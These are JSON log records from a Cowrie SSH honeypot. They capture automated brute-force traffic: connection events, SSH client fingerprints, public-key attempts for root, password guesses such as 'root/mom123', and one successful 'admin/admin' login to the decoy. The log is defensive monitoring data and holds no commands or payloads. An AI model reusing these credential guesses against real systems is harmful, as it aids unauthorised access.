{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:06.243076Z","src_ip":"202.51.214.99","session":"4fd95b60cd12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mom123","message":"login attempt [root/mom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:06.294477Z","src_ip":"69.48.205.231","session":"e6e4353f3973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:07.338147Z","src_ip":"69.48.205.231","session":"e6e4353f3973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:07.481894Z","src_ip":"202.51.214.99","session":"4fd95b60cd12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":37900,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5cfc4035cd7","protocol":"ssh","message":"New connection: 51.75.149.221:37900 (10.17.0.5:22) [session: b5cfc4035cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:20.606893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:20.611370Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:20.704403Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:fe:49:bb:1d:59:26:cc:fe:23:10:63:12:d6:5d:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF9oTYngLZ52bnnt2z5mKVux6ZrBcXt6eXsBeZvTA/JqAdgDDtuvZXuV2deATlK5kweYcxnQf0ndLhPn/2Fc/Pfb/sFZHim/mcgiy6I42Zb4SakvhHY1k7MNZkUBWhkLuMW/chRH+TgtvLN7fK++TaZnMe2mMNIo5q2Wrtwy9p83fDTqItL6ufStdqq54YHcogS5oBhmadcZwhcgdfJUPZupi3D0580ozVjBVyu813v1+0qxfhIQ2SxHoHL7dlU1SbiFSbVAJGT4fJuHA1bC29vVhoP9SDfSkcixdKx1UMVgLz84FmaDVS6N4ZKtsZUWpm58yhOCcITMV+ADLfZVBn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:fe:49:bb:1d:59:26:cc:fe:23:10:63:12:d6:5d:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.134113Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:fe:49:bb:1d:59:26:cc:fe:23:10:63:12:d6:5d:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF9oTYngLZ52bnnt2z5mKVux6ZrBcXt6eXsBeZvTA/JqAdgDDtuvZXuV2deATlK5kweYcxnQf0ndLhPn/2Fc/Pfb/sFZHim/mcgiy6I42Zb4SakvhHY1k7MNZkUBWhkLuMW/chRH+TgtvLN7fK++TaZnMe2mMNIo5q2Wrtwy9p83fDTqItL6ufStdqq54YHcogS5oBhmadcZwhcgdfJUPZupi3D0580ozVjBVyu813v1+0qxfhIQ2SxHoHL7dlU1SbiFSbVAJGT4fJuHA1bC29vVhoP9SDfSkcixdKx1UMVgLz84FmaDVS6N4ZKtsZUWpm58yhOCcITMV+ADLfZVBn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.136449Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:b0:95:e4:ca:75:75:81:68:9b:2c:24:4e:6d:82:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy8U+bfkT0fvRpEErNd3VEDyje4vohFsc8SjXvpmPVRhIfa5K5WuUSLVa2GGBAbNHxMHDtVHFf0rL/lSelRsEBU4bBkNHas3f4tM/e3+0tfUuB8MxIyKY3+5po15dghy2u9cWnGj+fSufICZTbmgIt2DvZTZUFywVBCm7AnvRnI4su/HWa76B9ixl/S0fWmFJgYclmJvKn5S2mbnyI+z3SB3kSshBQJx4SgvyBeOth0GfJXNCLmEvXcoU9S/Ajv6s8O/ymjvWwLSbUCKa8yEmuQZqVY7Fe05zFhpy4FegR5ETEK9OEgPl+FhC64TbkUlu4Wy59Syjk0ifSdtJZ0vXri4v/Jib49zP6VY69rmaSDTgHMY2IdPzes/QooOOWGC4u2sWtLB629vpvs7PTebM5f2HstY8qFhKeeUsJ0p+ZNT+7NdkngS7bwyN1OKdMIsO7o6sQPLCbKzHF4fDGw2q4cDsMWuzU6OgN4Ew1b8zoSniZjIVfR+PWMpRHIb6wmb/jmSS1kQbB8Asucf/6oZ72sUIcXXRSdXDyQht+RXzC9oRV1ZLvGU8cetLux4CD6g3zRiC8hZjjV6akY9iBHNM6s27ye1aUEZd1gREACGvPBbcitwLiPNeD4XVNeacYztbRj7ln8DQUXfXvd2Eu30R79ZRzat7PolofqIOAp1+NYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:b0:95:e4:ca:75:75:81:68:9b:2c:24:4e:6d:82:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.226226Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:b0:95:e4:ca:75:75:81:68:9b:2c:24:4e:6d:82:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy8U+bfkT0fvRpEErNd3VEDyje4vohFsc8SjXvpmPVRhIfa5K5WuUSLVa2GGBAbNHxMHDtVHFf0rL/lSelRsEBU4bBkNHas3f4tM/e3+0tfUuB8MxIyKY3+5po15dghy2u9cWnGj+fSufICZTbmgIt2DvZTZUFywVBCm7AnvRnI4su/HWa76B9ixl/S0fWmFJgYclmJvKn5S2mbnyI+z3SB3kSshBQJx4SgvyBeOth0GfJXNCLmEvXcoU9S/Ajv6s8O/ymjvWwLSbUCKa8yEmuQZqVY7Fe05zFhpy4FegR5ETEK9OEgPl+FhC64TbkUlu4Wy59Syjk0ifSdtJZ0vXri4v/Jib49zP6VY69rmaSDTgHMY2IdPzes/QooOOWGC4u2sWtLB629vpvs7PTebM5f2HstY8qFhKeeUsJ0p+ZNT+7NdkngS7bwyN1OKdMIsO7o6sQPLCbKzHF4fDGw2q4cDsMWuzU6OgN4Ew1b8zoSniZjIVfR+PWMpRHIb6wmb/jmSS1kQbB8Asucf/6oZ72sUIcXXRSdXDyQht+RXzC9oRV1ZLvGU8cetLux4CD6g3zRiC8hZjjV6akY9iBHNM6s27ye1aUEZd1gREACGvPBbcitwLiPNeD4XVNeacYztbRj7ln8DQUXfXvd2Eu30R79ZRzat7PolofqIOAp1+NYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.229499Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:26:d4:59:7f:74:c7:7c:bc:8f:ad:29:7f:52:0c:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCU/QKpgMWrLUxQ83lcLdP4Owtobub1XSvs/D16fNpQxMDXCKUxTVcegA42alSs+NIFxoWOU/vf8N8QMPdMssjmHrCw/OtPmPmJvuP8NR3nQ/QkmmBcHkUlJjLHf/f0zX+mTQtpNNlwD6y5/X9zRNrvOMgTuM8L8MHmjxqsiNK53hp/srQ3QHxQ9H4ARCkMe1Eh1ZnE9wE88RUvOctQTbIaUIbGAwf5GsinEmBKhZ36KMAveC/iS8aTr39kwj85bfMrb53b4bMuYMY1cCvPS/fnzf7HRDf62u9fuDaz2ucEXVAFFysj9LSy197VLh0qqZvwMcwxEcFjgTLk7fb9xwJ/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:26:d4:59:7f:74:c7:7c:bc:8f:ad:29:7f:52:0c:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.322808Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:26:d4:59:7f:74:c7:7c:bc:8f:ad:29:7f:52:0c:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCU/QKpgMWrLUxQ83lcLdP4Owtobub1XSvs/D16fNpQxMDXCKUxTVcegA42alSs+NIFxoWOU/vf8N8QMPdMssjmHrCw/OtPmPmJvuP8NR3nQ/QkmmBcHkUlJjLHf/f0zX+mTQtpNNlwD6y5/X9zRNrvOMgTuM8L8MHmjxqsiNK53hp/srQ3QHxQ9H4ARCkMe1Eh1ZnE9wE88RUvOctQTbIaUIbGAwf5GsinEmBKhZ36KMAveC/iS8aTr39kwj85bfMrb53b4bMuYMY1cCvPS/fnzf7HRDf62u9fuDaz2ucEXVAFFysj9LSy197VLh0qqZvwMcwxEcFjgTLk7fb9xwJ/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.325902Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:9a:9a:6f:d2:99:cd:6c:be:d5:54:f9:eb:ca:3c:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt+wBrXkb1qW9yZ3wHDcEMAgUZxR62AywVa6GhzsaHPuBaHB0BKBQ96XUy4WVTY3i3D0Vw16tE+0c61JggJmxWN7boJztfA1B78GHdXqbtcbhBe6vsHxbLtil0ekkU4yngytB3ErRu7ubBwWgORoE54szwVd28XQWxBmFwlOLDSTULR4Tisw3+CLUub00CHoytppD5As4b7TUNpPdP2xrwAW5vg2+QzAb3ZTTbh9ZO9rdxh4hXbCFOnff21eaHNsnMy9s1qerLGrLxbxrzg45tuyzvKkRf84r8zokcmBiMSa7UpLhHI44dRswWnPG/PM3xqDuuKqGYnYvhv+88R1nmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:9a:9a:6f:d2:99:cd:6c:be:d5:54:f9:eb:ca:3c:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.415931Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:9a:9a:6f:d2:99:cd:6c:be:d5:54:f9:eb:ca:3c:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt+wBrXkb1qW9yZ3wHDcEMAgUZxR62AywVa6GhzsaHPuBaHB0BKBQ96XUy4WVTY3i3D0Vw16tE+0c61JggJmxWN7boJztfA1B78GHdXqbtcbhBe6vsHxbLtil0ekkU4yngytB3ErRu7ubBwWgORoE54szwVd28XQWxBmFwlOLDSTULR4Tisw3+CLUub00CHoytppD5As4b7TUNpPdP2xrwAW5vg2+QzAb3ZTTbh9ZO9rdxh4hXbCFOnff21eaHNsnMy9s1qerLGrLxbxrzg45tuyzvKkRf84r8zokcmBiMSa7UpLhHI44dRswWnPG/PM3xqDuuKqGYnYvhv+88R1nmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.419407Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:bc:ba:ad:d5:b4:3b:6c:53:d5:38:d1:8c:05:fb:73","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPFn3dzW4byh+ZW54Brthh7zfZfdb321f+5/qXoYDZVaz5CWkUEbR5qIW25Z60PD2tCwdD87iP7VJOBijBfB5aYcCWdjUj1RBestwSh/mRo6f4TpazCWrqGiTRm4lyhCDb1wg+PQ6pDpLK86rWqtN63ZVG1ISEok6k8VafIawc09AAAAFQCgq0NercEPpDkuTc7on2wxopPkUwAAAIEAlju5iA065HciYMwRL6mTRIhGzpJ+8NM0XTVhtWym3wqXewx+D8KIFsgJEW7Ok3VVfkACxtNJ4bvneWz1LMaVI6VeJQkMNO9fbBihQOB2QH2vH6g5RVireozzXs1VEgwp9x3vlr/jF7Dhrn+fF50aGCI6HpRK7eA2FA8+QWLILgwAAACAYMwIzwj97Tbtk2uXk/5mn597OsjXPU4UOVZ44btggwlsuNHP3ca2aj7FRYsgJMdTnTKzEf0PWPb3wEnMZPnAn0WuXtF/Hi0Ii/PcYDhJx4g7/2WZWqLghSQpyhDF3UpM2wbrN5AmX9rjtJRRWYK2KDWe+12y/Wd51pwoXuUkY7Q=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 6f:bc:ba:ad:d5:b4:3b:6c:53:d5:38:d1:8c:05:fb:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.509951Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:bc:ba:ad:d5:b4:3b:6c:53:d5:38:d1:8c:05:fb:73","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPFn3dzW4byh+ZW54Brthh7zfZfdb321f+5/qXoYDZVaz5CWkUEbR5qIW25Z60PD2tCwdD87iP7VJOBijBfB5aYcCWdjUj1RBestwSh/mRo6f4TpazCWrqGiTRm4lyhCDb1wg+PQ6pDpLK86rWqtN63ZVG1ISEok6k8VafIawc09AAAAFQCgq0NercEPpDkuTc7on2wxopPkUwAAAIEAlju5iA065HciYMwRL6mTRIhGzpJ+8NM0XTVhtWym3wqXewx+D8KIFsgJEW7Ok3VVfkACxtNJ4bvneWz1LMaVI6VeJQkMNO9fbBihQOB2QH2vH6g5RVireozzXs1VEgwp9x3vlr/jF7Dhrn+fF50aGCI6HpRK7eA2FA8+QWLILgwAAACAYMwIzwj97Tbtk2uXk/5mn597OsjXPU4UOVZ44btggwlsuNHP3ca2aj7FRYsgJMdTnTKzEf0PWPb3wEnMZPnAn0WuXtF/Hi0Ii/PcYDhJx4g7/2WZWqLghSQpyhDF3UpM2wbrN5AmX9rjtJRRWYK2KDWe+12y/Wd51pwoXuUkY7Q=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.513672Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:21.604189Z","src_ip":"51.75.149.221","session":"b5cfc4035cd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":16382,"dst_ip":"10.17.0.5","dst_port":22,"session":"5db9d04bf7bd","protocol":"ssh","message":"New connection: 194.59.206.2:16382 (10.17.0.5:22) [session: 5db9d04bf7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:24.782955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:24.788279Z","src_ip":"194.59.206.2","session":"5db9d04bf7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:24.872525Z","src_ip":"194.59.206.2","session":"5db9d04bf7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:24.960621Z","src_ip":"194.59.206.2","session":"5db9d04bf7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":43278,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e415262fbed","protocol":"ssh","message":"New connection: 103.118.29.129:43278 (10.17.0.5:22) [session: 8e415262fbed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:29.414940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:29.419578Z","src_ip":"103.118.29.129","session":"8e415262fbed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:29.666757Z","src_ip":"103.118.29.129","session":"8e415262fbed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rsacgo23","password":"8.5vHtXSSViFDvKi+TB.","message":"login attempt [rsacgo23/8.5vHtXSSViFDvKi+TB.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:30.680781Z","src_ip":"103.118.29.129","session":"8e415262fbed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:31.929069Z","src_ip":"103.118.29.129","session":"8e415262fbed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45294,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4827a22179","protocol":"ssh","message":"New connection: 87.251.64.176:45294 (10.17.0.5:22) [session: 6d4827a22179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:38.663979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:38.668738Z","src_ip":"87.251.64.176","session":"6d4827a22179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:38.765419Z","src_ip":"87.251.64.176","session":"6d4827a22179","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:39.057265Z","src_ip":"87.251.64.176","session":"6d4827a22179","protocol":"ssh"}
